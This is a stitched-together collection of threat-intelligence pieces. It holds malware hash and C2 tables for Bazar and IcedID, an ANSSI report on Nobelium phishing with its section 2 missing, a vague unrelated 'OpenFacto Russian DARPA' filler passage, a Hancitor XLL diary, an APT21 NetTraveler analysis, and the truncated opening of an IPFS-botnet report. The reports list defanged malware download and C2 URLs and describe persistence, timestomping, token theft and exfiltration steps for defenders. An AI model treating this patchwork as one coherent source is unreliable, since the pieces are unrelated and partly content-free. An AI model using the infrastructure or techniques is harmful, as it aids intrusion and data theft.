227b402fe1ad5c40edd6385590dd22add3e493be6c90c813786a1d2a92c5508b | Trojan.X97M.BAZAR.YABCYT | | 27cbaa0a743ded5ed298ba18bb2bca3c9cf605a9d75f7168ea7cc00ac54687b2 | Trojan.X98M.BAZAR.YEBCX | | 2ae9a949242e7691ea1df0475a0f266118dc382fd27350b575473d9da9d9fc1f | Trojan.X97M.BAZAR.YABCYT | | 2c9787310c6307f1d169c5dff44455a52a5da01681b45f6ad9c382334c431400 | Trojan.X97M.BAZAR.YABCZ | | 2fcc02b25bfccda87b03b1149eeb22379abb5b00f2ea474151979f87ee6a8289 | Trojan.X97M.BAZAR.YABCYT | | 3369c4b31d3b5904783ee651d94d78995aa8ac2d6d4b52bc455c17c75845efbd | Trojan.X97M.BAZAR.YABCYT | | 3866ad9640aefdefb66843ed3151d95007d76a7254e41d9a17389656a97afc80 | TrojanSpy.Win32.EMOTET.YABCY | | 391c2301f9c1b27b489b78bac987e2e61e7923da1342941f3f52618e2d1ee1f8 | Trojan.X97M.BAZAR.YABCYT | | 39e79fa4dffb5d3c4099ccd77f9a889a7a0179948862790aeba79c69ffeb8582 | Trojan.X97M.BAZAR.YABCY | | 3a274a44ca7e8c943f9a2d1995d97582886d8f9684b7d5c5b51625f9f833d7ec | Trojan.X97M.BAZAR.YABCYT | | 3eda5bc62ee17d2ba137c4253eacfd9f96926ec071eb583777935c084cdcb604 | Trojan.X97M.BAZAR.YABCYT | ### C&C servers: - hxxp://18[.]220[.]10[.]246 - hxxp://52[.]90[.]97[.]160 - hxxps://35[.]168[.]81[.]240 - hxxps://52[.]167[.]249[.]196 - hxxps://52[.]90[.]97[.]160 ### IcedID | SHA256 | Detection name | |---------------------------------------------------------------------------------------|-------------------------------------| | 219e7715d364c0a46c667bdb93b05776f257da38028cbaa5a504873eb166315a | Trojan.XF.ICEDID.THCCABA | | 89756db6627e4c3ab511a0a6efe68dcfb6bec881c4942331dc95d53435e8f38b | Trojan.Win64.ICEDID.THCCABA | | 8de416bd5b7913a0f58610c56f0fdb293873a069522024f281c2e0106fd74042 | Trojan.XF.ICEDID.THCCABA | | a1411ad0725807a327258b5520ac7c1b709878ca84a6d2ee1d7a9913833b7429 | Trojan.Win64.ICEDID.THCCABA | | a2fcccd77c387840adb0de73b7361fa8a230c4a50ef309c1353fb499004272fb | Trojan.XF.ICEDID.THCCABA | | cb5864f279f49a06becdbcc287925d6073a4b72798daba165433a75d2bb3b0f9 | Trojan.Win64.ICEDID.THCCABA | | 2f0dc07dc3a2ca82ee1ba3c92c83c1702d1dea8fe363d4f224b399377ab50e51 | Trojan.Win64.ICEDID.THCCABA | | 442b31da9f6c4ffedd0a0d40a725c966a3c25284a0903ef40e2d0aa6bd8bfdaa | Trojan.Win64.ICEDID.THCCABA | | 47eafc7cbd120f040b93ce9e682de907f3a9fe8a78ec187f5af48039fd55ce5f | Trojan.XF.ICEDID.THCCABA | | 54efde21d125c3f0d057e89c4c10960d925b14253b59cfbbcda03a7e9d80fabc | Trojan.XF.ICEDID.THCCABA | | 56b6eaacab819f6199b96b06510eebeb30f99adcd559e3c87111a18d1ca6ed76 | Trojan.Win64.ICEDID.THCCABA | | 6d7751eb2aea2a561e5e33a951cc43d70b1f0c20054b60b8f1004aa36dc4dccc | Trojan.XF.ICEDID.THCCABA | | 9052448c8250fdf0b739d16b30d8d6807b1223a7e919d4f1f09a4ba5f847e74a | Trojan.Win64.ICEDID.THCCABA | | 9cbf18d067a292361999b12af131ebf575d1d8acf21a58e55b2837a3621aeb2f | Trojan.Win64.ICEDID.THCCABA | ### URLs: - hxxps://agenbolatermurah[.]com/ds/3003[.]gif - hxxps://columbia[.]aula-web[.]net/ds/3003[.]gif - hxxps://metaflip[.]io/ds/3003[.]gif - hxxps://partsapp[.]com[.]br/ds/3003[.]gif - hxxps://tajushariya[.]com/ds/3003[.]gif
# Phishing Campaigns by the Nobelium Intrusion Set ## Summary ANSSI (French National Cybersecurity Agency) has observed a number of phishing campaigns directed against French entities since February 2021. Of particular note, the intrusion set involved during this malicious activity has succeeded in compromising email accounts belonging to French organisations, and then using these to send weaponised emails to foreign institutions. Moreover, French public organisations have also been recipients of spoofed emails sent from supposedly compromised foreign institutions. Technical indicators observed by ANSSI correspond to activities associated with the Nobelium intrusion set. This intrusion set would have been used in other attack campaigns targeting diplomatic entities and international organisations across Europe and North America. Overlaps have also been identified in the tactics, techniques & procedures (TTP) between the phishing campaigns monitored by ANSSI and the supply chain attack via SolarWinds in 2020. This report lays out the technical information related to the phishing campaigns, beginning with details as to the nature of the malicious activities observed (section 1), the tactics, techniques & procedures (section 2) and the attack infrastructure (section 3). Similarities found with publicly documented intrusion sets are detailed in section 4. Recommendations (section 5) and indicators of compromise (appendix A) are available at the end of the document in order to help defenders protect against this type of attack and assess possible compromises. ## 1. Background Since February 2021, ANSSI has dealt with a series of phishing campaigns directed against French entities. The campaigns escalated significantly in May 2021. This malicious activity is attributable to one and the same intrusion set. The intrusion set succeeded in compromising email accounts belonging to French organisations, before using these access points to send weaponised emails to foreign institutions in the diplomatic sector. The initial method of intrusion remains unknown. French public organisations have also been recipients of spoofed emails. These messages were sent from foreign institutions seemingly compromised by the same intrusion set. N.B.: A threat actor is a defined set, made up of identified or identifiable individuals claiming to belong to an organisation. A threat actor implements one or more toolsets. An intrusion set is defined as the package of tools, tactics, techniques, procedures and characteristics implemented by one or more threat actors within the context of one or more cyberattacks. ## 3. Command and Control Infrastructure The payload delivered by the intrusion set is a Cobalt Strike implant. It is configured to contact its command and control (C2) servers using HTTPS over port 443. The domain names and IP addresses corresponding to the C2 infrastructure are available in appendix A. ### 3.1. Intrusion Set Servers The intrusion set’s C2 infrastructure is made up of virtual private servers (VPS) from different hosters. The intrusion set seems to favour servers located close to the target countries. In particular, several IP addresses within the C2 infrastructure belong to OVH. A breakdown is shown as follows: | AS Number | AS Name | Occurrences | |-----------|---------|-------------| | AS16276 | OVH SAS | 7 | | AS25369 | Hydra Communications Ltd | 2 | | AS9009 | M247 Ltd | 2 | | AS20207 | Gigared S.A. | 1 | | AS31400 | Accelerated IT Services Consulting GmbH | 1 | | AS201206 | Droptop GmbH | 1 | | AS202448 | MVPS LTD | 1 | | AS269070 | Hostzone Tecnologia LTDA | 1 | | AS207560 | Zubritska Valeriia Nikolaevna | 1 | | AS43641 | SOLLUTIUM | 1 | | AS62282 | UAB Rakrejus | 1 | | AS197226 | sprint S.A. | 1 | | AS204641 | HOSTGW SRL | 1 | | AS51852 | Private Layer INC | 1 | | AS49981 | WorldStream B.V. | 1 | ### 3.2. Domain Names The domain names used by the intrusion set as Cobalt Strike C2 resemble legitimate domain names. A number of domain names registered by the intrusion set mimic information and news websites. In the majority of cases, the intrusion set registers its domain names with NAMESILO and NAMECHEAP. ### 3.3. Cobalt Strike Profiles The Cobalt Strike samples used by the attacker are configured to contact specific URLs on control servers. The URIs used include: `/jquery-3.3.1.min.js` and `/jquery-3.3.2.min.js`. Both URIs correspond to publicly available Cobalt Strike Malleable profiles, albeit with certain modifications made. ## 4. Links with Publicly Documented Intrusion Sets The technical indicators observed by ANSSI in sections 2 & 3 correspond to activity associated with the Nobelium intrusion set as detailed in cybersecurity research by Microsoft, Volexity, Sentinel Labs, IstroSec, and ESET. According to Microsoft, Nobelium was still active in October 2021. The intrusion set would likely have been used during other attack campaigns including, since April 2021, those targeting Active Directory Federation Services servers in an attempt to compromise government bodies, think tanks and private firms in the USA and in Europe. In addition, the phishing campaigns detailed in this document apply TTPs (T1036.005, T1087.002 & T1482) similar to those used during the supply chain attack via SolarWinds exposed in December 2020. ## 5. Recommendations ### 5.1. Restrict the Execution of File Attachments Given the chain of compromise detailed above, which relies on the opening of a malicious file attachment as part of a phishing campaign, it is recommended that suspicious files are not executed. ### 5.2. Tightening Active Directory Security The intrusion set tends to focus on Active Directory (AD) servers in particular. Tighter security measures should be applied. ANSSI has produced a guide containing recommendations for security hardening. ## A. Appendix: Indicators of Compromise | Domain | Registrar | IP Address | AS Number | AS Name | First Seen | Last Seen | |--------|-----------|------------|-----------|---------|------------|-----------| | hanproud.com | NameSilo | 45.179.89.37 | AS269070 | Hostzone Tecnologia LTDA | 2020-10-01 | 2020-12-01 | | cbdnewsandreviews.net | NameSilo | 139.99.167.177 | AS16276 | OVH SAS | 2021-02-15 | 2021-05-01 | | cityloss.com | NameCheap | 51.38.85.225 | AS16276 | OVH SAS | 2021-02-15 | 2021-06-25 | | businesssalaries.com | NameCheap | 190.183.61.30 | AS20207 | Gigared S.A. | 2021-03-01 | 2021-05-10 | | trendignews.com | NameCheap | 185.243.215.198 | AS202448 | MVPS LTD | 2021-03-01 | 2021-04-01 | | worldhomeoutlet.com | NameCheap | 192.99.221.77 | AS16276 | OVH SAS | 2021-03-01 | 2021-09-01 | | giftbox4u.com | NameCheap | 37.120.247.135 | AS9009 | M247 Ltd | 2021-03-01 | 2021-04-25 | | myexpertforum.com | NameCheap | 45.80.148.166 | AS204641 | HOSTGW SRL | 2021-03-25 | 2021-07-01 | | doggroomingnews.com | NameSilo | 45.135.167.27 | AS207560 | Zubritska Valeriia Nikolaevna | 2021-04-01 | 2021-05-20 | | alifemap.com | NameCheap | 188.68.250.182 | AS197226 | sprint S.A. | 2021-04-10 | 2021-09-15 | | enpport.com | NameCheap | 54.38.137.218 | AS16276 | OVH SAS | 2021-04-15 | 2021-06-25 | | theyardservice.com | NameCheap | 83.171.237.173 | AS201206 | Droptop GmbH | 2021-04-15 | 2021-06-24 | | celebsinformation.com | NameSilo | 37.59.225.51 | AS16276 | OVH SAS | 2021-04-20 | 2021-09-01 | | dailydews.com | NameSilo | 31.42.177.114 | AS43641 | SOLLUTIUM | 2021-02-20 | 2021-06-10 | | ideasofbusiness.com | NameSilo | 81.17.30.46 | AS51852 | Private Layer INC | 2021-06-01 | 2021-06-15 | | newminigolf.com | NameSilo | 79.143.87.166 | AS25369 | Hydra Communications Ltd | 2021-02-15 | 2021-08-15 | | rchosts.com | NameSilo | 51.89.50.153 | AS16276 | OVH SAS | 2021-06-15 | 2021-10-25 | | stockmarketon.com | NameCheap | 51.254.241.158 | AS16276 | OVH SAS | 2021-02-20 | 2021-03-15 | | stonecrestnews.com | NameCheap | 91.234.254.144 | AS49981 | WorldStream B.V. | 2021-03-10 | 2021-09-05 | | teachingdrive.com | NameCheap | 194.135.81.18 | AS62282 | UAB Rakrejus | 2021-05-01 | 2021-09-25 | | newstepsco.com | NameCheap | 185.158.250.239 | AS9009 | M247 Ltd | 2021-03-15 | 2021-06-04 | | tacomanewspaper.com | Epik | 195.206.181.169 | AS25369 | Hydra Communications Ltd | 2021-02-25 | 2021-06-10 | ## B. Bibliography 1. MSTIC - Microsoft. Breaking down NOBELIUM’s Latest Early-Stage Toolset. May 28, 2021. 2. Alex Lanstein. Another big wave from unc2652/Nobelium. July 15, 2021. 3. MSTIC-Microsoft. Deep Dive into the Solorigate Second-Stage Activation: From SUNBURST to TEARDROP and Raindrop. January 20, 2021. 4. MSTIC - Microsoft. New Sophisticated Email-Based Attack from NOBELIUM. May 27, 2021. 5. MRSC - Microsoft. New Nobelium Activity – Microsoft Security Response Center. June 25, 2021. 6. Volexity. Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns. May 27, 2021. 7. Sentinel Labs. NobleBaron - New Poisoned Installers Could Be Used In Supply Chain Attacks. June 1, 2021. 8. IstroSec. APT Cobalt Strike Campaign Targeting Slovakia (DEF CON Talk). August 9, 2021. 9. ESET. #ESETresearch investigated this spear-phishing campaign. August 13, 2021. 10. MSTIC-Microsoft. FoggyWeb: Targeted NOBELIUM Malware Leads to Persistent Backdoor. September 27, 2021. 11. MSTIC - Microsoft. NOBELIUM Targeting Delegated Administrative Privileges to Facilitate Broader Attacks. October 25, 2021. 12. CERT-FR. Active Directory Security Assessment Checklist. June 2, 2020.
# OpenFacto Russian DARPA This document provides an overview of the OpenFacto project under the Russian DARPA initiative. It outlines the objectives, methodologies, and expected outcomes of the project. ## Objectives - To enhance the capabilities of data analysis and processing. - To develop innovative solutions for real-time data management. - To foster collaboration between various research institutions. ## Methodologies The project employs a range of methodologies including: - Machine learning techniques for data interpretation. - Advanced algorithms for data processing. - Collaborative frameworks for interdisciplinary research. ## Expected Outcomes The anticipated outcomes of the OpenFacto project include: - Improved data analysis tools. - Enhanced research capabilities. - Contributions to the field of data science and technology. ## Conclusion The OpenFacto project represents a significant step forward in the realm of data analysis and processing, with the potential to impact various sectors positively.
# Hancitor Tries XLL as Initial Malware File **Published:** 2021-07-09 **Last Updated:** 2021-07-09 **By:** Brad Duncan ## Introduction On Thursday 2021-07-08, for a short while when Hancitor was initially active, if any victims clicked on a malicious link from the malspam, they would receive an XLL file instead of a malicious Word document. I tried one of the email links in my lab and received the malicious XLL file. After other researchers reported they were receiving Word documents, I tried a few hours later and received a Word document instead. Since November 2020, Hancitor has consistently followed specific patterns of infection activity, and my previous diary from January 2021 is typical of what I've seen. Only one change has happened recently. Since June 8th 2021, malicious spam (malspam) pushing Hancitor switched from docs.google.com links in their messages to using feedproxy.google.com URLs, which was initially reported by @James_inthe_box, @mesa_matt, and @executemalware. I've also seen these Google feedproxy URLs used for Hancitor infections, but I had not seen the XLL files until now. ## What is an XLL file? XLL files are Excel add-in files. They're DLL files specifically designed to be run by Microsoft Excel. Think of an XLL file as an "Excel DLL." ## The emails As usual, emails for this wave of Hancitor used a DocuSign theme, and they spoofed cabanga[.]com as the sending domain. Just like in recent weeks, links went to a Google feedproxy URL. The Google feedproxy URL leads to a malicious page on a compromised website designed to send the initial malicious file and redirect the browser to DocuSign's website. This process makes it appear as if the file was offered by DocuSign when it was actually sent through a malicious web page. Remember, this malicious activity is not caused by DocuSign. DocuSign is one of many companies that cybercriminals impersonate when distributing malware like Hancitor. DocuSign is aware of this long-running effort by the criminals behind Hancitor, and the company has guidelines for dealing with this sort of malicious activity. ## Running the XLL When opening the XLL file, Excel asks if you want to enable the add-in. The default option was to leave the add-in disabled. But when I opened the XLL file in my lab environment, I enabled all code for the add-in. Excel immediately ran the add-in and closed. I didn't see any sort of fake template like we usually see when Hancitor uses a Word document as the initial file. ## Infection traffic During my first infection run with the XLL file, most of the traffic followed known patterns for Hancitor and Cobalt Strike. I saw two additional URLs as noted below. These two URLs returned files that were saved to my Windows client in the C:\Users\Public\ directory. The first URL returned an HTML file that was saved as res32.hta. That .hta file retrieved an EXE for Hancitor which was saved as snd32sys.exe. Hancitor showed a build number of 0707in2_wvcr in C2 traffic caused by the EXE. During my second infection run with a Hancitor DLL, I saw a build number of 0707_wvcr. ## Indicators of Compromise (IOCs) This Github page contains 35 Google feedproxy URLs and 35 associated URLs used to send the initial malicious file. Other indicators follow. **SHA256 hash:** 73b8c566d8cdf3200daa0b698b9d32a49b1ea8284a1e6aa6408eb9c9daaacb71 File size: 24,488 bytes File name: 0708_0112181856.xll File description: Excel add-in (an "Excel DLL") **SHA256 hash:** da92436d2bbcdef52b11ace6e2e063e9971cefc074d194550bd425305c97cdd5 File size: 8,419 bytes File location: hxxp://srand04rf[.]ru/92375234.xml File location: C:\Users\Public\res32.hta File description: HTML file used to retrieve Hancitor EXE **SHA256 hash:** 3db14214a9eb98b3b5abffcb314c808a25ed82456ce01251d31e8ea960f6e4e6 File size: 763,392 bytes File location: hxxp://srand04rf[.]ru/08.jpg File location: C:\Users\Public\snd32sys.exe File description: Hancitor EXE **SHA256 hash:** b4d402b4ab3b5a5568f35562955d5d05357a589ccda55fde5a2c166ef5f15699 File size: 898,048 bytes File name: 0708_3355614568218.doc File description: Word doc with macros for Hancitor **SHA256 hash:** 4dc9d5ee1debdba0388fbb112d4bbbc01bb782f015e798cced3fc2edb17ac557 File size: 274,432 bytes File location: C:\Users\[username]\AppData\Roaming\Microsoft\Template\niberius.dll File description: Hancitor DLL Run method: rundll32.exe [filename],ONOQWPYIEIR **SHA256 hash:** dee4bb7d46bbbec6c01dc41349cb8826b27be9a0dcf39816ca8bd6e0a39c2019 File size: 272,910 bytes File location: hxxp://srand04rf[.]ru/7hfjsdfjks.exe File description: EXE for Ficker Stealer malware Note: This file was first submitted to VirusTotal on 2021-06-09. **Traffic related to Hancitor:** 8.211.241[.]0 port 80 - srand04rf[.]ru - GET /92375234.xml 8.211.241[.]0 port 80 - srand04rf[.]ru - GET /08.jpg port 80 - api.ipify.org - GET / [not inherently malicious] 77.222.42[.]67 port 80 - sudepallon[.]com - POST /8/forum.php 194.147.78[.]155 port 80 - anspossthrly[.]ru - POST /8/forum.php 194.147.115[.]74 port 80 - thentabecon[.]ru - POST/8/forum.php **Traffic related to Ficker Stealer:** 8.211.241[.]0 port 80 - srand04rf[.]ru - GET /7hfjsdfjks.exe port 80 - api.ipify.org - GET /?format=xml [not inherently malicious] 95.213.179[.]67 port 80 - pospvisis[.]com - TCP traffic **Traffic related to Cobalt Strike:** 8.211.241[.]0 port 80 - srand04rf[.]ru - GET /0707s.bin 8.211.241[.]0 port 80 - srand04rf[.]ru - GET /0707.bin 191.101.17[.]21 port 443 - HTTPS traffic 191.101.17[.]21 port 80 - 191.101.17[.]21 - GET /5lyB 191.101.17[.]21 port 80 - 191.101.17[.]21 - GET /IE9CompatViewList.xml 191.101.17[.]21 port 80 - 191.101.17[.]21 - POST /submit.php?id=[9-digit number] ## Final words A pcap of the infection traffic from my first infection run (with the XLL file) can be found here. --- **Brad Duncan** brad [at] malware-traffic-analysis.net **Keywords:** TA511 Moskalvzapoe MAN1 Hancitor Ficker Stealer Cobalt Strike Chanitor
# Dissecting APT21 Samples Using a Step-by-Step Approach ## Summary In this blog post, we present a detailed analysis of two malicious files (a backdoor known as “Travelnet”) linked to an APT (Advanced Persistent Threat) actor called APT21. APT21, also known as Zhenbao or Hammer Panda, is a group of suspected state-sponsored hackers of Chinese origin. According to multiple online sources referenced in the article, APT21 historically targeted the Russian government and groups seeking greater autonomy or independence from China, such as those from Tibet or Xinjiang. The first file is a dropper used to register a malicious DLL (NetTraveler trojan) as a service. The main purpose of the trojan is to gather information about the environment such as user name, host name, IP address of the host, Windows OS version, different configurations of the CPU, information about memory consumption, and the list of processes. The malicious process is interested in .doc, .docx, .xls, .xlsx, .txt, .rtf, and .pdf files on disk, USB drives, and network shares in order to exfiltrate them. During the entire infection, multiple .ini configuration files are created, and the malware has the capability to download and execute additional files on the infected machine. The data is compressed using a custom Lempel-Ziv-based algorithm and encoded with a modified Base64 algorithm before it is exfiltrated to the Command and Control server. ## Technical Analysis ### Section I: Dropper **SHA256:** FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338 One of the first steps the malware performs is creating a mutex called “INSTALL SERVICES NOW!” (note the space). The mutex is used to avoid reinfection of an already infected machine. The malicious process creates a configuration file at “C:\Windows\System\config_t.dat,” which will be heavily used during the entire infection. The API call used to accomplish this task is CreateFileA. The following bytes found at a precise location in the malicious file are read in order to decrypt them. The decryption routine consists of a XOR operation with 0x3E. After the decryption, the new string represents a URL which contains the C2 server. The configuration file is populated using WritePrivateProfileStringA API calls. Please note that WebPage is equal to the string decrypted above, and the other options will be explained later on in a better context. Now there is a byte at offset 0x334 in the file which indicates if the malicious process is supposed to use a proxy or not (by default this value is 0, meaning the malware is not using a proxy for network communications). If that byte is set to 1, the malware writes UP=1 in the configuration file and also five additional values: PS (proxy address), PP (proxy port), PU (proxy user), PW (proxy password), and PF (unknown). RegQueryValueExA API is used to retrieve the type and data for netsvcs (svchost.exe) associated with “HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost.” The malicious file enumerates all the available services on the host and compares them with a hardcoded list. The first service which is not found on the system will be used for malicious purposes. The strategy is as follows: it will enumerate the keys corresponding to a service like “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>” in order to see if the service is installed or not. The following services have been present on the analyzing machine: CertPropSvc, SCPolicySvc, lanmanserver, gpsvc, iphlpsvc, msiscsi, schedule, winmgmt, SessionEnv, and the first one which was missing is FastUserSwitchingCompatibility. The file “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” associated with FastUserSwitchingCompatibility service is supposed to be deleted by the running process (it doesn’t exist on the machine). A new service called “FastUserSwitchingCompatibility” is created using CreateServiceA API function, which tries to impersonate the legitimate service, the binary path of the service being %SystemRoot%\System32\svchost.exe -k netsvcs (legitimate process). If the call is successful, a registry key is created. This technique is part of evasion techniques. Attackers will try to impersonate/use legitimate system binaries or libraries on the host to hide malicious activity. This will allow them to blend with regular activity and remain hidden. In order to verify that the service was successfully created, the malicious process tries to open “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” (now it exists because it corresponds to the newly created service). A new key called “Parameters” is created under “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” using RegCreateKeyA API. This will be used to register a malicious DLL as a service. The process creates an empty file called temp.bat in the same directory as the initial executable (in our case, Desktop). The purpose of the batch file is to register the DLL found at “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” as a service by adding the “ServiceDll” entry. The file “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” doesn’t exist at this time; however, it’s created by the malware using CreateFileA API. “Timestomping” is a technique used by a malicious actor to modify files’ timestamps (for example, created/modified timestamps) in order not to raise any suspicions about the file. In our case, the created and modified timestamps of the DLL file are set to Tuesday, August 17, 2004, 9:00:00 PM. Now the DLL file created earlier is filled with malicious code using WriteFile API. Even if the path of the file looks legitimate (running from “C:\Windows\SysWOW64” directory), it’s just impersonating a legitimate service. It’s worth mentioning that registering a DLL file as a service is a persistence mechanism. The newly created service is started using StartServiceA API, and the flow of execution is passed to the DLL export function ServiceMain. ### Section II: DLL File **SHA256:** ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924 One of the first steps the malware performs is to invoke GetProcessWindowStation API, which returns a handle to the current window station, and then it uses OpenWindowStationA API to open the interactive window station (“Winsta0”). The process assigns the specified window station (“Winsta0”) to the calling process using the SetProcessWindowStation function. As in the first example, the process creates a different mutex called “NetTravler Is Running!”. If it exists, it will exit without reinfecting the machine. Now it retrieves a few elements from the configuration file config_t.dat created by the first process: WebPage, DownCmdTime, UploadRate, AutoCheck, UP, and CheckedSuccess (it doesn’t exist at this time, so the function returns 0). All of the values are extracted using GetPrivateProfileString and GetPrivateProfileInt APIs. Because we’re running the DLL using an executable used by x32dbg to debug the DLL files, the process name is similar to “DLLLoader32_58D1.exe.” The malicious process creates a .log file which has the same name as the executable (“DLLLoader32_58D1.log”). The file enumerates the directories from “C:\Program File (x86),” and the output is copied to the newly created file. RegOpenKeyExA API is used to open “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders” registry key, and the “History” value is extracted from it using RegQueryValueEx. The content of “History” value is “C:\Users\<Username>\AppData\Local\Microsoft\Windows\History.” The malware is looking for a file called “C:\Users\<Username>\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat,” which contains Internet browsing history activity, including Internet-based searches and opened files. The process extracts “Version” value from “HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer” using RegQueryValueEx function. The user agent used in the network communications is always set to “Mozilla/4.0 (compatible; MSIE 6.0).” There is also an Accept request HTTP header. The process tries to connect to http://www.microsoft.com/info/privacy_security.htm in order to verify if there is an internet connection. If the connection is successful, the following strings will be added at the end of the .log file. Furthermore, UP (use proxy indicator) is set to 0, and it adds a value called CheckedSuccess (set to 1) to config_t.dat using WritePrivateProfileStringA API. If the connection was unsuccessful, an “Method1 Fail!!!!!” message is written to DLLLoader32_58D1.log. Process32First and Process32Next functions are used to find “EXPLORER.exe” process, and then the process tries to open it using OpenProcess API. The attacker’s purpose is to steal “explorer.exe” process’ token by calling OpenProcessToken in order to open the access token associated with “explorer.exe” and then it uses ImpersonateLoggedOnUser function to impersonate the security context of a user. The process is using RegOpenKeyExA to open “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key and then it extracts “ProxyEnable” value to see if the computer uses a proxy server. The same function is used to get the “ProxyServer” and “ProxyOverride” values from the same registry key. As in the first method, the attacker verifies if he’s able to connect to the same URL using the proxy settings found in the registry. If the connection is successful, it will append the content of that page to the .log file together with some new parameters. If the connection fails, the message “Method3 Fail!!!!!” is appended to the .log file. Method4 is similar to Method3 and will not be explained in detail. If all methods fail, the infection will stop, and the following operations are performed (self-deleting malware): registry keys are deleted, and certain files are deleted as well. If one of the methods works, the malicious process sleeps for 60 seconds and then creates another thread that we’ll call Thread1, sleeps another 10 seconds, and creates Thread2. The main thread will enter into an infinite loop until a specific variable is set. ### Thread1 Activity Firstly, the thread retrieves the volume serial number associated with “C:\” directory using GetVolumeInformationA function. This number will be used as a host id in the communication with the C2 server. It also uses GetComputerNameA API to find the NETBIOS name of the computer, GetUserNameA API to find the username associated with the current thread, gethostname API to retrieve the host name for the computer, and gethostbyname/inet_ntoa functions to print the IP address of the computer. The malicious process enumerates the available disk drives and is interested in type 3 drives (DRIVE_FIXED). RegOpenKeyExA API is utilized to open “HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0” registry key and then RegQueryValueEx is used to retrieve “VendorIdentifier,” “Identifier,” and “~MHz” values. The process uses GlobalMemoryStatus function to get information about the system’s usage of physical and virtual memory. All the information extracted so far will be stored in a new file called “C:\Windows\SysWOW64\system_t.dll” in order to exfiltrate it. The encoded data is exfiltrated via a GET request to vipmailru[.]com (C2 server). The following parameters are provided in the URL: hostid, hostname, hostip, and filename. If the server response contains “Success:,” the exfiltration was successful. The malicious process also deletes system_t.dll using DeleteFileA API. It performs another GET request with parameters including “action=getcmd.” The result of the query must contain “[CmdBegin]\r\n” at the beginning of the message and “[CmdEnd]\r\n” at the end of it. The message between the “borders” is saved, and then the process performs a GET request with a modified parameter “action=gotcmd.” As before, if everything works fine, the file expects an HTTP response which contains “Success” string. The process is looking to delete a file called “C:\Windows\SysWOW64\dnlist.ini” which doesn’t exist at this time. The file will be created and populated with the following data. The operation applied to “C:\” drive is recursive and it’s applied to each directory. The following information will be added/modified in dnlist.ini: [EnumTime], [ScanList]. The enumfs.ini file will be transferred to the C2 server via a GET request as before (compressed + encoded). The server response is expected to contain “Success:.” The attacker is interested in the following types of files: .doc, .docx, .xls, .xlsx, .txt, .rtf, .pdf. The malicious process tries to open uenumfs.ini which doesn’t exist at this moment, and then enumerates the files found in “C:\User<Username>\AppData\Local\Temp\ntvba00.tmp\.” This specific directory will be created by Thread2 and will contain all files which have been selected to be exfiltrated to the C2 server. Now the process contacts the C2 server again with the parameter “action=getdata.” It expects one of the following responses: “A2C9AD2F:UNINSTALL,” “A2C9AD2F:UPDATE,” “A2C9AD2F:RESET,” or “A2C9AD2F:UPLOAD.” ### Case 1: (UNINSTALL) The following registry keys are deleted, and the process deletes several files. The C2 server is informed that the operation is complete by performing a GET request with “action=updated” parameter. ### Case 2: (UPDATE) Same registry keys and files are deleted as described above. Moreover, there is a GET request to the Command and Control server using “action=datasize” parameter. ### Case 3: (RESET) The following files are deleted: enumfs.ini, dnlist.ini, “C:\WINDOWS\system32\udidx.ini,” uenumfs.ini, and stat_t.ini. The same request is used to contact the C2 server. ### Case 4: (UPLOAD) This case is identical to Case 2 (UPDATE) with the difference that no files/registry keys are deleted. After the execution flow passes all cases, the process sleeps for 60 seconds and then it goes back in the loop. ### Thread2 Activity RegisterClassA function is used to register a window class for use in CreateWindow/CreateWindowEx calls. It creates a window using CreateWindowExA. The malware is interested in WM_DEVICECHANGE messages, which means that for example a new USB drive has been plugged in or a network shared folder is mounted on the system. The process creates a “C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\” directory, and its attribute is set to hidden. The following file is also created: “C:\Windows\SysWOW64\uenumfs.ini.” For each file found on the USB drive/network share, the process compares its extension with the list mentioned before. The process creates “C:\Windows\SysWOW64\udidx.ini” file and will add all hashes computed as explained before. Finally, the file uses DefWindowProcA API to ensure that window messages the application does not process have a default processing function. ## Indicators of Compromise - **C2 domain:** vipmailru[.]com - **SHA256:** - FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338 - ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924 - **Mutexes:** “NetTravler Is Running!”, ” INSTALL SERVICES NOW!” - **File names on disk:** - %System%\config_t.dat - %windir%\system32\enumfs.ini - %windir%\system32\dnlist.ini - %windir%\system32\udidx.ini - %windir%\system32\uenumfs.ini - %windir%\system32\stat_t.ini - %windir%\system32\system_t.dll - %windir%\install.exe - %TEMP%\ntvba00.tmp\ - temp.bat
# The InterPlanetary Storm: New Malware in Wild Using InterPlanetary File System’s (IPFS) p2p network **Research | June 11, 2019** **by Anomali Threat Research** ## Summary In May 2019, a new malware was found in the wild that uses a peer-to-peer (p2p) network on top of InterPlanetary File System’s (IPFS) p2p network. The malware targets Windows machines and allows the threat actor to execute any arbitrary PowerShell code on the infected machines. The use of a legitimate p2p network can make it difficult to discover the malicious traffic as it potentially blends in with legitimate traffic. It can also make it harder to sinkhole the botnet since there is a risk the legitimate p2p network is also taken down with it. ## Introduction When a threat actor wants to commandeer a machine, a Command and Control (C2) communication channel needs to be established. With this communication channel, the threat actor can send commands to the infected machines and receive responses. There are two types of schemes that can be used: a p2p model and a server-client model. ### Server-Client Model In a server-client model, the infected machines connect to a set of C2 servers that provide instructions and handle responses. A threat actor may use these C2 servers directly or employ a second layer of C2 servers that act as a proxy. This can protect the second layer from detection and increase stealth. Threat actors have started using legitimate web services for C2 communications, such as Twitter, Github, and Instagram, which use encrypted communication via TLS. This allows malicious traffic to blend in with legitimate communications. ### P2P Model In a 